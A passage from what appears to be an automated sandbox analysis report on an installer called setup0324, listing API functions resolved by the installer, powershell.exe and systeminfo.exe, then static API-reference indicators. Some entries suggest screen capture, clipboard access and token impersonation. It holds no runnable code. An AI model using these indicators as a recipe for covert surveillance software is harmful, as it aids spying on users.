parameter IsWindowEnabled (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetTopWindow (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter PrintWindow (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter RealGetWindowClassW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FindWindowW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetWindowLongW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetWindowLongW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter PtInRect (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter WindowFromPoint (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter MenuItemFromPoint (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter MapVirtualKeyW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter EmptyClipboard (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetClipboardData (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetClipboardData (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CloseClipboard (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter EnumDisplayMonitors (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter BitBlt (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetStretchBltMode (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter StretchBlt (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SelectObject (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetDIBits (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter DeleteDC (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateCompatibleDC (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateCompatibleBitmap (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter DragQueryFileW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SHAppBarMessage (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateStreamOnHGlobal (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter StgCreateDocfile (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter ReportEventA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter RegDeleteKeyExW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter RegDeleteValueW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter RevertToSelf (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter ImpersonateLoggedOnUser (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter RegisterEventSourceA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter RegDeleteTreeW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter BCryptGenRandom (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GdipCreateBitmapFromHBITMAP (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GdipCreateBitmapFromScan0 (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GdipGetImagePixelFormat (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GdipGetImageGraphicsContext (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GdipSaveImageToStream (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GdipSetSmoothingMode (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GdipCloneImage (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GdipLoadImageFromStream (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GdipFree (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GdipAlloc (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GdipGetImageEncodersSize (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GdiplusStartup (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GdipDeleteGraphics (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GdipSetPixelOffsetMode (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GdipDisposeImage (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GdiplusShutdown (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GdipDrawImageRectI (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GdipSetInterpolationMode (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GdipGetImageEncoders (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter NtWow64QueryInformationProcess64 (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter NtWow64ReadVirtualMemory64 (UID: 00000000-00004680) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00006420) "powershell.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00006420) "systeminfo.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007480) "systeminfo.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007480)30:Tdbc2,Found reference to API (Indicator: "EncodePointer"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "DecodePointer"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "FlsFree"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "FlsSetValue"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "FlsGetValue"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "FlsAlloc"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetProcessWindowStation"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetUserObjectInformationA"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetLastActivePopup"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetActiveWindow"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "MessageBoxA"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "RegDeleteKeyExW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "UuidCreate"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "UuidToStringW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "RpcStringFreeW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "MultiByteToWideChar"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "LoadResource"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "LockResource"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "SizeofResource"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "FindResourceW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "FindResourceExW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetLastError"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "CloseHandle"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "WaitForSingleObject"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "Sleep"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "FindFirstFileW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "FindNextFileW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "FindClose"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetExitCodeProcess"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "CreateFileW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetFileSize"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "ReadFile"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "WriteFile"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetModuleHandleW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetTempPathW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "VerSetConditionMask"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "VerifyVersionInfoW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetCurrentProcess"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetProcAddress"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetCurrentThreadId"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "DefWindowProcW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "CreateWindowExW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "ShowWindow"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "UpdateWindow"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "BringWindowToTop"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "IsWindow"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetForegroundWindow"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetWindowThreadProcessId"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "AttachThreadInput"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "SystemParametersInfoW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "SetForegroundWindow"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "CryptDestroyHash"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "CryptReleaseContext"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "CryptAcquireContextW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "CryptCreateHash"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "CryptHashData"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "CryptGetHashParam"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetUserNameW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "OpenProcessToken"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetTokenInformation"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "RegDeleteKeyW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "RegDeleteValueW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "RegCloseKey"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "RegEnumKeyExW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "RegOpenKeyExW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "RegQueryValueExW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "RegSetValueExW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "ShellExecuteExW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "SHGetFolderPathW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "PathFileExistsW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "PathAppendW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "PathFindExtensionW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "HeapFree"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "TerminateProcess"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "IsDebuggerPresent"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "DeleteFileW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "RemoveDirectoryW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "CreateDirectoryW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetCommandLineA"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "HeapCreate"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "HeapDestroy"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "VirtualFree"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "DeleteCriticalSection"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "LeaveCriticalSection"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "EnterCriticalSection"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "HeapAlloc"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "VirtualAlloc"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "HeapReAlloc"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "InterlockedIncrement"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "InterlockedDecrement"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "TlsGetValue"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "TlsAlloc"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "TlsSetValue"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "TlsFree"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "SetLastError"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "RaiseException"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetFileAttributesW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetCPInfo"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetACP"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetOEMCP"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "IsValidCodePage"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "ExitProcess"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "SetHandleCount"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetStdHandle"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetFileType"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetStartupInfoA"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetModuleFileNameA"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "FreeEnvironmentStringsA"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetEnvironmentStrings"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "WideCharToMultiByte"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetTickCount"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetCurrentProcessId"; File: "setup0324_or_1.msi") Found 